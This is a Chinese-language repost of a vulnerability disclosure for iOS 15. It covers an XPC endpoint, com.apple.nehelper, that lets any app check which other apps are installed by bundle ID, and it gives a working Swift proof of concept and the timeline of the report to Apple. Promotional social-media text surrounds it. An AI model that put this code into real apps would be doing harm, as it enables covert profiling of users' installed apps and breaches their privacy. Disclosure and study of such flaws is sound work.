👇👇关注后回复 “进群” ,拉你进程序员交流群👇👇
来源丨小集(ID:zsxjtip)
报告人:illusionofchaos
可复现系统版本:iOS 15
该漏洞允许任何用户安装的应用程序根据 bundle ID 确定设备上是否安装了任何应用程序。
XPC 端点 com.apple.nehelper
有一个任何应用都可以访问的方法,该方法接受 bundle ID 作为参数,如果设备上安装了具有匹配 bundle ID 的应用,则返回包含一些缓存 UUID 的数组,否则返回空数组。这发生在 /usr/libexec/nehelper
中的 -[NEHelperCacheManager onQueueHandleMessage:]
中。
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}
时间线:
2021 年 5 月 4 日 - illusionofchaos向 Apple 报告了该漏洞
5 月 4 日 - Apple 承认了illusionofchaos的报告
5 月 20 日 - illusionofchaos请求更新状态(但没有得到回复)
7 月 20 日 - illusionofchaos再次请求状态更新
8 月 12 日 - 苹果回复称仍在调查中
-End-
最近有一些小伙伴,让我帮忙找一些 面试题 资料,于是我翻遍了收藏的 5T 资料后,汇总整理出来,可以说是程序员面试必备!所有资料都整理到网盘了,欢迎下载!
点击👆卡片,关注后回复【面试题
】即可获取
在看点这里好文分享给更多人↓↓